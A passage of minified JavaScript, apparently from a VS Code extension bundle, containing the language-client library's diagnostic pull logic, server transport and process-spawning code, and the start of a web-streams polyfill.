0?(v={document:l,pulledVersion:u,resultId:g},s.set(a,v)):(v.pulledVersion=u,v.resultId=g),v}unTrack(e,t){(e===lr.document?this.documentPullStates:this.workspacePullStates).delete(t.uri.toString())}tracks(e,t){let n=typeof t=="string"?t:t.uri.toString();return(e===lr.document?this.documentPullStates:this.workspacePullStates).has(n)}getResultId(e,t){var n;return(n=(e===lr.document?this.documentPullStates:this.workspacePullStates).get(t.uri.toString()))===null||n===void 0?void 0:n.resultId}getAllResultIds(){let e=[];for(let[t,n]of this.workspacePullStates)this.documentPullStates.has(t)&&(n=this.documentPullStates.get(t)),n.resultId!==void 0&&e.push({uri:t,value:n.resultId});return e}},ay=class{constructor(e,t,n){this.client=e,this.editorTracker=t,this.options=n,this.isDisposed=!1,this.onDidChangeDiagnosticsEmitter=new Xt.EventEmitter,this.provider=this.createProvider(),this.diagnostics=Xt.languages.createDiagnosticCollection(n.identifier),this.openRequests=new Map,this.documentStates=new sy,this.workspaceErrorCounter=0}knows(e,t){return this.documentStates.tracks(e,t)}pull(e,t){this.pullAsync(e).then(()=>{t&&t()},n=>{this.client.error(`Document pull failed for text document ${e.uri.toString()}`,n,!1)})}async pullAsync(e){var t;let n=e.uri.toString(),i=this.openRequests.get(n),s=this.documentStates.track(lr.document,e);if(i===void 0){let a=new Xt.CancellationTokenSource;this.openRequests.set(n,{state:jt.active,version:e.version,textDocument:e,tokenSource:a});let l,u;try{l=(t=await this.provider.provideDiagnostics(e,this.documentStates.getResultId(lr.document,e),a.token))!==null&&t!==void 0?t:{kind:an.DocumentDiagnosticReportKind.full,items:[]}}catch(g){if(g instanceof ds.LSPCancellationError&&tt.Proposed.DiagnosticServerCancellationData.is(g.data)&&g.data.retriggerRequest===!1&&(u={state:jt.outDated,textDocument:e}),u===void 0&&g instanceof Xt.CancellationError)u={state:jt.reschedule,textDocument:e};else throw g}if(u=u??this.openRequests.get(n),u===void 0){this.client.error(`Lost request state in diagnostic pull model. Clearing diagnostics for ${n}`),this.diagnostics.delete(e.uri);return}if(this.openRequests.delete(n),!this.editorTracker.isVisible(e)){this.documentStates.unTrack(lr.document,e);return}if(u.state===jt.outDated)return;l!==void 0&&(l.kind===an.DocumentDiagnosticReportKind.full&&this.diagnostics.set(e.uri,l.items),s.resultId=l.resultId),u.state===jt.reschedule&&this.pull(e)}else i.state===jt.active?(i.tokenSource.cancel(),this.openRequests.set(n,{state:jt.reschedule,textDocument:i.textDocument})):i.state===jt.outDated&&this.openRequests.set(n,{state:jt.reschedule,textDocument:i.textDocument})}cleanupPull(e){let t=e.uri.toString(),n=this.openRequests.get(t);this.options.workspaceDiagnostics||this.options.interFileDependencies?n!==void 0?this.openRequests.set(t,{state:jt.reschedule,textDocument:e}):this.pull(e):(n!==void 0&&(n.state===jt.active&&n.tokenSource.cancel(),this.openRequests.set(t,{state:jt.outDated,textDocument:e})),this.diagnostics.delete(e.uri))}pullWorkspace(){this.pullWorkspaceAsync().then(()=>{this.workspaceTimeout=tt.RAL().timer.setTimeout(()=>{this.pullWorkspace()},2e3)},e=>{!(e instanceof ds.LSPCancellationError)&&!tt.Proposed.DiagnosticServerCancellationData.is(e.data)&&(this.client.error("Workspace diagnostic pull failed.",e,!1),this.workspaceErrorCounter++),this.workspaceErrorCounter<=5&&(this.workspaceTimeout=tt.RAL().timer.setTimeout(()=>{this.pullWorkspace()},2e3))})}async pullWorkspaceAsync(){if(!this.provider.provideWorkspaceDiagnostics)return;this.workspaceCancellation!==void 0&&(this.workspaceCancellation.cancel(),this.workspaceCancellation=void 0),this.workspaceCancellation=new Xt.CancellationTokenSource;let e=this.documentStates.getAllResultIds().map(t=>({uri:this.client.protocol2CodeConverter.asUri(t.uri),value:t.value}));await this.provider.provideWorkspaceDiagnostics(e,this.workspaceCancellation.token,t=>{var n;if(!(!t||this.isDisposed))for(let i of t.items)i.kind===an.DocumentDiagnosticReportKind.full&&(this.documentStates.tracks(lr.document,i.uri.toString())||this.diagnostics.set(i.uri,i.items)),this.documentStates.track(lr.workspace,i.uri.toString(),(n=i.version)!==null&&n!==void 0?n:void 0,i.resultId)})}createProvider(){let e={onDidChangeDiagnostics:this.onDidChangeDiagnosticsEmitter.event,provideDiagnostics:(t,n,i)=>{let s=(l,u,g)=>{let v={identifier:this.options.identifier,textDocument:{uri:this.client.code2ProtocolConverter.asUri(l.uri)},previousResultId:u};return this.client.sendRequest(tt.Proposed.DocumentDiagnosticRequest.type,v,g).then(b=>b==null||this.isDisposed?{kind:an.DocumentDiagnosticReportKind.full,items:[]}:b.kind===tt.Proposed.DocumentDiagnosticReportKind.full?{kind:an.DocumentDiagnosticReportKind.full,resultId:b.resultId,items:this.client.protocol2CodeConverter.asDiagnostics(b.items)}:{kind:an.DocumentDiagnosticReportKind.unChanged,resultId:b.resultId},b=>this.client.handleFailedRequest(tt.Proposed.DocumentDiagnosticRequest.type,g,b,{kind:an.DocumentDiagnosticReportKind.full,items:[]}))},a=this.client.clientOptions.middleware;return a.provideDiagnostics?a.provideDiagnostics(t,n,i,s):s(t,n,i)}};return this.options.workspaceDiagnostics&&(e.provideWorkspaceDiagnostics=(t,n,i)=>{let s=g=>g.kind===tt.Proposed.DocumentDiagnosticReportKind.full?{kind:an.DocumentDiagnosticReportKind.full,uri:this.client.protocol2CodeConverter.asUri(g.uri),resultId:g.resultId,version:g.version,items:this.client.protocol2CodeConverter.asDiagnostics(g.items)}:{kind:an.DocumentDiagnosticReportKind.unChanged,uri:this.client.protocol2CodeConverter.asUri(g.uri),resultId:g.resultId,version:g.version},a=g=>{let v=[];for(let b of g)v.push({uri:this.client.code2ProtocolConverter.asUri(b.uri),value:b.value});return v},l=(g,v)=>{let b=xx.generateUuid(),C=this.client.onProgress(tt.Proposed.WorkspaceDiagnosticRequest.partialResult,b,E=>{if(E==null){i(null);return}let q={items:[]};for(let N of E.items)q.items.push(s(N));i(q)}),w={identifier:this.options.identifier,previousResultIds:a(g),partialResultToken:b};return this.client.sendRequest(tt.Proposed.WorkspaceDiagnosticRequest.type,w,v).then(E=>{let q={items:[]};for(let N of E.items)q.items.push(s(N));return C.dispose(),i(q),{items:[]}},E=>(C.dispose(),this.client.handleFailedRequest(tt.Proposed.DocumentDiagnosticRequest.type,v,E,{items:[]})))},u=this.client.clientOptions.middleware;return u.provideWorkspaceDiagnostics?u.provideWorkspaceDiagnostics(t,n,i,l):l(t,n,i)}),e}dispose(){var e,t;this.isDisposed=!0,(e=this.workspaceCancellation)===null||e===void 0||e.cancel(),(t=this.workspaceTimeout)===null||t===void 0||t.dispose();for(let[n,i]of this.openRequests)i.state===jt.active&&i.tokenSource.cancel(),this.openRequests.set(n,{state:jt.outDated,textDocument:i.textDocument})}},cy=class{constructor(e){this.diagnosticRequestor=e,this.documents=new tt.LinkedMap}add(e){let t=e.uri.toString();this.documents.has(t)||(this.documents.set(e.uri.toString(),e,tt.Touch.Last),this.trigger())}remove(e){let t=e.uri.toString();this.documents.has(t)&&(this.documents.delete(t),this.diagnosticRequestor.pull(e)),this.documents.size===0?this.stop():e===this.endDocument&&(this.endDocument=this.documents.last)}trigger(){if(this.intervalHandle!==void 0){this.endDocument=this.documents.last;return}this.endDocument=this.documents.last,this.intervalHandle=tt.RAL().timer.setInterval(()=>{let e=this.documents.first;e!==void 0&&(this.diagnosticRequestor.pull(e),this.documents.set(e.uri.toString(),e,tt.Touch.Last),e===this.endDocument&&this.stop())},200)}dispose(){this.stop(),this.documents.clear()}stop(){var e;(e=this.intervalHandle)===null||e===void 0||e.dispose(),this.intervalHandle=void 0,this.endDocument=void 0}},uy=class{constructor(e,t,n){var i,s;let a=(i=e.clientOptions.diagnosticPullOptions)!==null&&i!==void 0?i:{onChange:!0,onSave:!1},l=n.documentSelector,u=[],g=w=>Xt.languages.match(l,w)>0&&t.isVisible(w);this.diagnosticRequestor=new ay(e,t,n),this.backgroundScheduler=new cy(this.diagnosticRequestor);let v=w=>{!g(w)||!n.interFileDependencies||this.activeTextDocument===w||this.backgroundScheduler.add(w)};this.activeTextDocument=(s=Xt.window.activeTextEditor)===null||s===void 0?void 0:s.document,Xt.window.onDidChangeActiveTextEditor(w=>{let E=this.activeTextDocument;this.activeTextDocument=w==null?void 0:w.document,E!==void 0&&v(E),this.activeTextDocument!==void 0&&this.backgroundScheduler.remove(this.activeTextDocument)});let b=e.getFeature(tt.DidOpenTextDocumentNotification.method);u.push(b.onNotificationSent(w=>{let E=w.original;g(E)&&this.diagnosticRequestor.pull(E,()=>{v(E)})}));for(let w of Xt.workspace.textDocuments)g(w)&&this.diagnosticRequestor.pull(w,()=>{v(w)});if(a.onChange){let w=e.getFeature(tt.DidChangeTextDocumentNotification.method);u.push(w.onNotificationSent(async E=>{let q=E.original.document;(a.filter===void 0||!a.filter(q,ds.DiagnosticPullMode.onType))&&this.diagnosticRequestor.knows(lr.document,q)&&E.original.contentChanges.length>0&&this.diagnosticRequestor.pull(q,()=>{this.backgroundScheduler.trigger()})}))}if(a.onSave){let w=e.getFeature(tt.DidSaveTextDocumentNotification.method);u.push(w.onNotificationSent(E=>{let q=E.original;(a.filter===void 0||!a.filter(q,ds.DiagnosticPullMode.onSave))&&this.diagnosticRequestor.knows(lr.document,q)&&this.diagnosticRequestor.pull(E.original,()=>{this.backgroundScheduler.trigger()})}))}let C=e.getFeature(tt.DidCloseTextDocumentNotification.method);u.push(C.onNotificationSent(w=>{let E=w.original;this.diagnosticRequestor.cleanupPull(E),this.backgroundScheduler.remove(E)})),this.diagnosticRequestor.onDidChangeDiagnosticsEmitter.event(()=>{for(let w of Xt.workspace.textDocuments)g(w)&&this.diagnosticRequestor.pull(w)}),n.workspaceDiagnostics===!0&&n.identifier!=="da348dc5-c30a-4515-9d98-31ff3be38d14"&&this.diagnosticRequestor.pullWorkspace(),this.disposable=Xt.Disposable.from(...u,this.backgroundScheduler,this.diagnosticRequestor)}get onDidChangeDiagnosticsEmitter(){return this.diagnosticRequestor.onDidChangeDiagnosticsEmitter}get diagnostics(){return this.diagnosticRequestor.provider}},ly=class extends ds.TextDocumentFeature{constructor(e){super(e,tt.Proposed.DocumentDiagnosticRequest.type);this.editorTracker=new oy}fillClientCapabilities(e){let t=iy(iy(e,"textDocument"),"diagnostic");t.dynamicRegistration=!0,t.relatedDocumentSupport=!1}initialize(e,t){this._client.onRequest(tt.Proposed.DiagnosticRefreshRequest.type,async()=>{for(let a of this.getAllProviders())a.onDidChangeDiagnosticsEmitter.fire()});let[i,s]=this.getRegistration(t,e.diagnosticProvider);!i||!s||this.register({id:i,registerOptions:s})}dispose(){this.editorTracker.dispose(),super.dispose()}registerLanguageProvider(e){let t=new uy(this._client,this.editorTracker,e);return[t.disposable,t]}};hi.DiagnosticFeature=ly});var Sl=F(pi=>{"use strict";Object.defineProperty(pi,"__esModule",{value:!0});pi.ProposedFeatures=pi.CommonLanguageClient=void 0;var kx=ir(),qx=ev(),Ox=Gu(),Ax=nv(),Fx=ov(),Ix=av(),Lx=uv(),Nx=fv(),Mx=gv(),jx=vv(),$x=Cv(),Wx=_v(),Ji=ey(),Hx=ny(),fy=class extends kx.BaseLanguageClient{constructor(e,t,n){super(e,t,n)}registerProposedFeatures(){this.registerFeatures(hy.createAll(this))}registerBuiltinFeatures(){super.registerBuiltinFeatures(),this.registerFeature(new Ox.ConfigurationFeature(this)),this.registerFeature(new Fx.TypeDefinitionFeature(this)),this.registerFeature(new Ax.ImplementationFeature(this)),this.registerFeature(new qx.ColorProviderFeature(this)),this.registerFeature(new Ix.WorkspaceFoldersFeature(this)),this.registerFeature(new Lx.FoldingRangeFeature(this)),this.registerFeature(new Nx.DeclarationFeature(this)),this.registerFeature(new Mx.SelectionRangeFeature(this)),this.registerFeature(new jx.ProgressFeature(this)),this.registerFeature(new $x.CallHierarchyFeature(this)),this.registerFeature(new Wx.SemanticTokensFeature(this)),this.registerFeature(new Hx.LinkedEditingFeature(this)),this.registerFeature(new Ji.DidCreateFilesFeature(this)),this.registerFeature(new Ji.DidRenameFilesFeature(this)),this.registerFeature(new Ji.DidDeleteFilesFeature(this)),this.registerFeature(new Ji.WillCreateFilesFeature(this)),this.registerFeature(new Ji.WillRenameFilesFeature(this)),this.registerFeature(new Ji.WillDeleteFilesFeature(this))}};pi.CommonLanguageClient=fy;var zx=dy(),hy;(function(r){function e(t){return[new zx.DiagnosticFeature(t)]}r.createAll=e})(hy=pi.ProposedFeatures||(pi.ProposedFeatures={}))});var gy=F(rc=>{"use strict";Object.defineProperty(rc,"__esModule",{value:!0});rc.terminate=void 0;var py=require("child_process"),Bx=require("path"),Ux=process.platform==="win32",Kx=process.platform==="darwin",Gx=process.platform==="linux";function Vx(r,e){if(Ux)try{let i={stdio:["pipe","pipe","ignore"]};return e&&(i.cwd=e),py.execFileSync("taskkill",["/T","/F","/PID",r.pid.toString()],i),!0}catch{return!1}else if(Gx||Kx)try{var t=Bx.join(__dirname,"terminateProcess.sh"),n=py.spawnSync(t,[r.pid.toString()]);return!n.error}catch{return!1}else return r.kill("SIGKILL"),!0}rc.terminate=Vx});var Tl=F((ZO,my)=>{"use strict";my.exports=Be()});var vy=F(Sn=>{"use strict";var Yx=Sn&&Sn.__createBinding||(Object.create?function(r,e,t,n){n===void 0&&(n=t),Object.defineProperty(r,n,{enumerable:!0,get:function(){return e[t]}})}:function(r,e,t,n){n===void 0&&(n=t),r[n]=e[t]}),Pl=Sn&&Sn.__exportStar||function(r,e){for(var t in r)t!=="default"&&!Object.prototype.hasOwnProperty.call(e,t)&&Yx(e,r,t)};Object.defineProperty(Sn,"__esModule",{value:!0});Pl(Be(),Sn);Pl(ir(),Sn);Pl(Sl(),Sn)});var nc=F(Qt=>{"use strict";var Xx=Qt&&Qt.__createBinding||(Object.create?function(r,e,t,n){n===void 0&&(n=t),Object.defineProperty(r,n,{enumerable:!0,get:function(){return e[t]}})}:function(r,e,t,n){n===void 0&&(n=t),r[n]=e[t]}),yy=Qt&&Qt.__exportStar||function(r,e){for(var t in r)t!=="default"&&!Object.prototype.hasOwnProperty.call(e,t)&&Xx(e,r,t)};Object.defineProperty(Qt,"__esModule",{value:!0});Qt.SettingMonitor=Qt.LanguageClient=Qt.TransportKind=void 0;var Tn=require("child_process"),Dl=require("fs"),El=require("path"),by=lp(),jn=require("vscode"),Ke=yn(),Qx=Sl(),Jx=ir(),Zx=gy(),Ve=Tl();yy(Tl(),Qt);yy(vy(),Qt);var wy="^1.58.0",Qe;(function(r){r[r.stdio=0]="stdio",r[r.ipc=1]="ipc",r[r.pipe=2]="pipe",r[r.socket=3]="socket"})(Qe=Qt.TransportKind||(Qt.TransportKind={}));var $n;(function(r){function e(t){let n=t;return n&&n.kind===Qe.socket&&Ke.number(n.port)}r.isSocket=e})($n||($n={}));var xl;(function(r){function e(t){return Ke.string(t.command)}r.is=e})(xl||(xl={}));var kl;(function(r){function e(t){return Ke.string(t.module)}r.is=e})(kl||(kl={}));var ql;(function(r){function e(t){let n=t;return n&&n.writer!==void 0&&n.reader!==void 0}r.is=e})(ql||(ql={}));var Ol;(function(r){function e(t){let n=t;return n&&n.process!==void 0&&typeof n.detached=="boolean"}r.is=e})(Ol||(Ol={}));var Cy=class extends Qx.CommonLanguageClient{constructor(e,t,n,i,s){let a,l,u,g,v;Ke.string(t)?(a=e,l=t,u=n,g=i,v=!!s):(a=e.toLowerCase(),l=e,u=t,g=n,v=i),v===void 0&&(v=!1);super(a,l,g);this._serverOptions=u,this._forceDebug=v,this._isInDebugMode=v;try{this.checkVersion()}catch(b){throw Ke.string(b.message)&&this.outputChannel.appendLine(b.message),b}}checkVersion(){let e=by.parse(jn.version);if(!e)throw new Error(`No valid VS Code version detected. Version string is: ${jn.version}`);if(e.prerelease&&e.prerelease.length>0&&(e.prerelease=[]),!by.satisfies(e,wy))throw new Error(`The language client requires VS Code version ${wy} but received version ${jn.version}`)}get isInDebugMode(){return this._isInDebugMode}stop(){return super.stop().then(()=>{if(this._serverProcess){let e=this._serverProcess;this._serverProcess=void 0,(this._isDetached===void 0||!this._isDetached)&&this.checkProcessDied(e),this._isDetached=void 0}})}checkProcessDied(e){!e||setTimeout(()=>{try{process.kill(e.pid,0),Zx.terminate(e)}catch{}},2e3)}handleConnectionClosed(){this._serverProcess=void 0,super.handleConnectionClosed()}fillInitializeParams(e){super.fillInitializeParams(e),e.processId===null&&(e.processId=process.pid)}createMessageTransports(e){function t(v,b){if(!v&&!b)return;let C=Object.create(null);return Object.keys(process.env).forEach(w=>C[w]=process.env[w]),b&&(C.ELECTRON_RUN_AS_NODE="1",C.ELECTRON_NO_ASAR="1"),v&&Object.keys(v).forEach(w=>C[w]=v[w]),C}let n=["--debug=","--debug-brk=","--inspect=","--inspect-brk="],i=["--debug","--debug-brk","--inspect","--inspect-brk"];function s(){let v=process.execArgv;return v?v.some(b=>n.some(C=>b.startsWith(C))||i.some(C=>b===C)):!1}function a(v){if(v.stdin===null||v.stdout===null||v.stderr===null)throw new Error("Process created without stdio streams")}let l=this._serverOptions;if(Ke.func(l))return l().then(v=>{if(Jx.MessageTransports.is(v))return this._isDetached=!!v.detached,v;if(ql.is(v))return this._isDetached=!!v.detached,{reader:new Ve.StreamMessageReader(v.reader),writer:new Ve.StreamMessageWriter(v.writer)};{let b;return Ol.is(v)?(b=v.process,this._isDetached=v.detached):(b=v,this._isDetached=!1),b.stderr.on("data",C=>this.outputChannel.append(Ke.string(C)?C:C.toString(e))),{reader:new Ve.StreamMessageReader(b.stdout),writer:new Ve.StreamMessageWriter(b.stdin)}}});let u,g=l;return g.run||g.debug?this._forceDebug||s()?(u=g.debug,this._isInDebugMode=!0):(u=g.run,this._isInDebugMode=!1):u=l,this._getServerWorkingDir(u.options).then(v=>{var b;if(kl.is(u)&&u.module){let C=u,w=C.transport||Qe.stdio;if(C.runtime){let E=[],q=(b=C.options)!==null&&b!==void 0?b:Object.create(null);q.execArgv&&q.execArgv.forEach(O=>E.push(O)),E.push(C.module),C.args&&C.args.forEach(O=>E.push(O));let N=Object.create(null);N.cwd=v,N.env=t(q.env,!1);let A=this._getRuntimePath(C.runtime,v),H;if(w===Qe.ipc?(N.stdio=[null,null,null,"ipc"],E.push("--node-ipc")):w===Qe.stdio?E.push("--stdio"):w===Qe.pipe?(H=Ve.generateRandomPipeName(),E.push(`--pipe=${H}`)):$n.isSocket(w)&&E.push(`--socket=${w.port}`),E.push(`--clientProcessId=${process.pid.toString()}`),w===Qe.ipc||w===Qe.stdio){let O=Tn.spawn(A,E,N);return!O||!O.pid?Promise.reject(`Launching server using runtime ${A} failed.`):(this._serverProcess=O,O.stderr.on("data",z=>this.outputChannel.append(Ke.string(z)?z:z.toString(e))),w===Qe.ipc?(O.stdout.on("data",z=>this.outputChannel.append(Ke.string(z)?z:z.toString(e))),Promise.resolve({reader:new Ve.IPCMessageReader(O),writer:new Ve.IPCMessageWriter(O)})):Promise.resolve({reader:new Ve.StreamMessageReader(O.stdout),writer:new Ve.StreamMessageWriter(O.stdin)}))}else{if(w===Qe.pipe)return Ve.createClientPipeTransport(H).then(O=>{let z=Tn.spawn(A,E,N);return!z||!z.pid?Promise.reject(`Launching server using runtime ${A} failed.`):(this._serverProcess=z,z.stderr.on("data",M=>this.outputChannel.append(Ke.string(M)?M:M.toString(e))),z.stdout.on("data",M=>this.outputChannel.append(Ke.string(M)?M:M.toString(e))),O.onConnected().then(M=>({reader:M[0],writer:M[1]})))});if($n.isSocket(w))return Ve.createClientSocketTransport(w.port).then(O=>{let z=Tn.spawn(A,E,N);return!z||!z.pid?Promise.reject(`Launching server using runtime ${A} failed.`):(this._serverProcess=z,z.stderr.on("data",M=>this.outputChannel.append(Ke.string(M)?M:M.toString(e))),z.stdout.on("data",M=>this.outputChannel.append(Ke.string(M)?M:M.toString(e))),O.onConnected().then(M=>({reader:M[0],writer:M[1]})))})}}else{let E;return new Promise((q,N)=>{var A,H;let O=(A=C.args&&C.args.slice())!==null&&A!==void 0?A:[];w===Qe.ipc?O.push("--node-ipc"):w===Qe.stdio?O.push("--stdio"):w===Qe.pipe?(E=Ve.generateRandomPipeName(),O.push(`--pipe=${E}`)):$n.isSocket(w)&&O.push(`--socket=${w.port}`),O.push(`--clientProcessId=${process.pid.toString()}`);let z=(H=C.options)!==null&&H!==void 0?H:Object.create(null);if(z.env=t(z.env,!0),z.execArgv=z.execArgv||[],z.cwd=v,z.silent=!0,w===Qe.ipc||w===Qe.stdio){let M=Tn.fork(C.module,O||[],z);a(M),this._serverProcess=M,M.stderr.on("data",G=>this.outputChannel.append(Ke.string(G)?G:G.toString(e))),w===Qe.ipc?(M.stdout.on("data",G=>this.outputChannel.append(Ke.string(G)?G:G.toString(e))),q({reader:new Ve.IPCMessageReader(this._serverProcess),writer:new Ve.IPCMessageWriter(this._serverProcess)})):q({reader:new Ve.StreamMessageReader(M.stdout),writer:new Ve.StreamMessageWriter(M.stdin)})}else w===Qe.pipe?Ve.createClientPipeTransport(E).then(M=>{let G=Tn.fork(C.module,O||[],z);a(G),this._serverProcess=G,G.stderr.on("data",X=>this.outputChannel.append(Ke.string(X)?X:X.toString(e))),G.stdout.on("data",X=>this.outputChannel.append(Ke.string(X)?X:X.toString(e))),M.onConnected().then(X=>{q({reader:X[0],writer:X[1]})},N)},N):$n.isSocket(w)&&Ve.createClientSocketTransport(w.port).then(M=>{let G=Tn.fork(C.module,O||[],z);a(G),this._serverProcess=G,G.stderr.on("data",X=>this.outputChannel.append(Ke.string(X)?X:X.toString(e))),G.stdout.on("data",X=>this.outputChannel.append(Ke.string(X)?X:X.toString(e))),M.onConnected().then(X=>{q({reader:X[0],writer:X[1]})},N)},N)})}}else if(xl.is(u)&&u.command){let C=u,w=u.args!==void 0?u.args.slice(0):[],E,q=u.transport;if(q===Qe.stdio)w.push("--stdio");else if(q===Qe.pipe)E=Ve.generateRandomPipeName(),w.push(`--pipe=${E}`);else if($n.isSocket(q))w.push(`--socket=${q.port}`);else if(q===Qe.ipc)throw new Error("Transport kind ipc is not support for command executable");let N=Object.assign({},C.options);if(N.cwd=N.cwd||v,q===void 0||q===Qe.stdio){let A=Tn.spawn(C.command,w,N);return!A||!A.pid?Promise.reject(`Launching server using command ${C.command} failed.`):(A.stderr.on("data",H=>this.outputChannel.append(Ke.string(H)?H:H.toString(e))),this._serverProcess=A,this._isDetached=!!N.detached,Promise.resolve({reader:new Ve.StreamMessageReader(A.stdout),writer:new Ve.StreamMessageWriter(A.stdin)}))}else{if(q===Qe.pipe)return Ve.createClientPipeTransport(E).then(A=>{let H=Tn.spawn(C.command,w,N);if(!H||!H.pid)throw new Error(`Launching server using command ${C.command} failed.`);return this._serverProcess=H,this._isDetached=!!N.detached,H.stderr.on("data",O=>this.outputChannel.append(Ke.string(O)?O:O.toString(e))),H.stdout.on("data",O=>this.outputChannel.append(Ke.string(O)?O:O.toString(e))),A.onConnected().then(O=>({reader:O[0],writer:O[1]}))});if($n.isSocket(q))return Ve.createClientSocketTransport(q.port).then(A=>{let H=Tn.spawn(C.command,w,N);if(!H||!H.pid)throw new Error(`Launching server using command ${C.command} failed.`);return this._serverProcess=H,this._isDetached=!!N.detached,H.stderr.on("data",O=>this.outputChannel.append(Ke.string(O)?O:O.toString(e))),H.stdout.on("data",O=>this.outputChannel.append(Ke.string(O)?O:O.toString(e))),A.onConnected().then(O=>({reader:O[0],writer:O[1]}))})}}return Promise.reject(new Error("Unsupported server configuration "+JSON.stringify(l,null,4)))})}_getRuntimePath(e,t){if(El.isAbsolute(e))return e;let n=this._mainGetRootPath();if(n!==void 0){let i=El.join(n,e);if(Dl.existsSync(i))return i}if(t!==void 0){let i=El.join(t,e);if(Dl.existsSync(i))return i}return e}_mainGetRootPath(){let e=jn.workspace.workspaceFolders;if(!e||e.length===0)return;let t=e[0];if(t.uri.scheme==="file")return t.uri.fsPath}_getServerWorkingDir(e){let t=e&&e.cwd;return t||(t=this.clientOptions.workspaceFolder?this.clientOptions.workspaceFolder.uri.fsPath:this._mainGetRootPath()),t?new Promise(n=>{Dl.lstat(t,(i,s)=>{n(!i&&s.isDirectory()?t:void 0)})}):Promise.resolve(void 0)}getLocale(){let e=process.env.VSCODE_NLS_CONFIG;if(e===void 0)return"en";let t;try{t=JSON.parse(e)}catch{}return t===void 0||typeof t.locale!="string"?"en":t.locale}};Qt.LanguageClient=Cy;var Ry=class{constructor(e,t){this._client=e,this._setting=t,this._listeners=[]}start(){return jn.workspace.onDidChangeConfiguration(this.onDidChangeConfiguration,this,this._listeners),this.onDidChangeConfiguration(),new jn.Disposable(()=>{this._client.needsStop()&&this._client.stop()})}onDidChangeConfiguration(){let e=this._setting.indexOf("."),t=e>=0?this._setting.substr(0,e):this._setting,n=e>=0?this._setting.substr(e+1):void 0,i=n?jn.workspace.getConfiguration(t).get(n,!1):jn.workspace.getConfiguration(t);i&&this._client.needsStart()?this._client.start():!i&&this._client.needsStop()&&this._client.stop()}};Qt.SettingMonitor=Ry});var Fl=F((rA,By)=>{"use strict";By.exports=nc()});var tw=F((hc,ew)=>{(function(r,e){typeof hc=="object"&&typeof ew!="undefined"?e(hc):typeof define=="function"&&define.amd?define(["exports"],e):(r=typeof globalThis!="undefined"?globalThis:r||self,e(r.WebStreamsPolyfill={}))})(hc,function(r){"use strict";let e=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?Symbol:o=>`Symbol(${o})`;function t(){}function n(){if(typeof self!="undefined")return self;if(typeof window!="undefined")return window;if(typeof global!="undefined")return global}let i=n();function s(o){return typeof o=="object"&&o!==null||typeof o=="function"}let a=t,l=Promise,u=Promise.prototype.then,g=Promise.resolve.bind(l),v=Promise.reject.bind(l);function b(o){return new l(o)}function C(o){return g(o)}function w(o){return v(o)}function E(o,c,p){return u.call(o,c,p)}function q(o,c,p){E(E(o,c,p),void 0,a)}function N(o,c){q(o,c)}function A(o,c){q(o,void 0,c)}function H(o,c,p){return E(o,c,p)}function O(o){E(o,void 0,a)}let z=(()=>{let o=i&&i.queueMicrotask;if(typeof o=="function")return o;let c=C(void 0);return p=>E(c,p)})();function M(o,c,p){if(typeof o!="function")throw new TypeError("Argument is not a function");return Function.prototype.apply.call(o,c,p)}function G(o,c,p){try{return C(M(o,c,p))}catch(S){return w(S)}}let X=16384;class _e{constructor(){this._cursor=0,this._size=0,this._front={_elements:[],_next:void 0},this._back=this._front,this._cursor=0,this._size=0}get length(){return this._size}push(c){let p=this._back,S=p;p._elements.length===X-1&&(S={_elements:[],_next:void 0}),p._elements.push(c),S!==p&&(this._back=S,p._next=S),++this._size}shift(){let c=this._front,p=c,S=this._cursor,k=S+1,$=c._elements,B=$[S];return k===X&&(p=c._next,k=0),--this._size,this._cursor=k,c!==p&&(this._front=p),$[S]=void 0,B}forEach(c){let p=this._cursor,S=this._front,k=S._elements;for(;(p!==k.length||S._next!==void 0)&&!(p===k.length&&(S=S._next,k=S._elements,p=0,k.length===0));)c(k[p]),++p}peek(){let c=this._front,p=this._cursor;return c._elements[p]}}function Ae(o,c){o._ownerReadableStream=c,c._reader=o,c._state==="readable"?ct(o):c._state==="closed"?Tt(o):St(o,c._storedError)}function Je(o,c){let p=o._ownerReadableStream;return Nr(p,c)}function je(o){o._ownerReadableStream._state==="readable"?Wt(o,new TypeError("Reader was released and can no longer be used to monitor the stream's closedness")):$e(o,new TypeError("Reader was released and can no longer be used to monitor the stream's closedness")),o._ownerReadableStream._reader=void 0,o._ownerReadableStream=void 0}function Fe(o){return new TypeError("Cannot "+o+" a stream using a released reader")}function ct(o){o._closedPromise=b((c,p)=>{o._closedPromise_resolve=c,o._closedPromise_reject=p})}function St(o,c){ct(o),Wt(o,c)}function Tt(o){ct(o),gt(o)}function Wt(o,c){o._closedPromise_reject!==void 0&&(O(o._closedPromise),o._closedPromise_reject(c),o._closedPromise_resolve=void 0,o._closedPromise_reject=void 0)}function $e(o,c){St(o,c)}function gt(o){o._closedPromise_resolve!==void 0&&(o._closedPromise_resolve(void 0),o._closedPromise_resolve=void 0,o._closedPromise_reject=void 0)}let mt=e("[[AbortSteps]]"),ut=e("[[ErrorSteps]]"),Pt=e("[[CancelSteps]]"),Ot=e("[[PullSteps]]"),Jr=Number.isFinite||function(o){return typeof o=="number"&&isFinite(o)},Zr=Math.trunc||function(o){return o<0?Math.ceil(o):Math.floor(o)};function Or(o){return typeof o=="object"||typeof o=="function"}function nt(o,c){if(o!==void 0&&!Or(o))throw new TypeError(`${c} is not an object.`)}function lt(o,c){if(typeof o!="function")throw new TypeError(`${c} is not a function.`)}function gr(o){return typeof o=="object"&&o!==null||typeof o=="function"}function cr(o,c){if(!gr(o))throw new TypeError(`${c} is not an object.`)}function dt(o,c,p){if(o===void 0)throw new TypeError(`Parameter ${c} is required in '${p}'.`)}function mr(o,c,p){if(o===void 0)throw new TypeError(`${c} is required in '${p}'.`)}function Ar(o){return Number(o)}function Ht(o){return o===0?0:o}function Fr(o){return Ht(Zr(o))}function At(o,c){let p=0,S=Number.MAX_SAFE_INTEGER,k=Number(o);if(k=Ht(k),!Jr(k))throw new TypeError(`${c} is not a finite number`);if(k=Fr(k),k<p||k>S)throw new TypeError(`${c} is outside the accepted range of ${p} to ${S}, inclusive`);return!Jr(k)||k===0?0:k}function vr(o,c){if(!qn(o))throw new TypeError(`${c} is not a ReadableStream.`)}function ke(o){return new Zt(o)}function Dt(o,c){o._reader._readRequests.push(c)}function Ir(o,c,p){let k=o._reader._readRequests.shift();p?k._closeSteps():k._chunkSteps(c)}function yr(o){return o._reader._readRequests.length}function zt(o){let c=o._reader;return!(c===void 0||!Ze(c))}class Zt{constructor(c){if(dt(c,1,"ReadableStreamDefaultReader"),vr(c,"First parameter"),On(c))throw new TypeError("This stream has already been locked for exclusive reading by another reader");Ae(this,c),this._readRequests=new _e}get 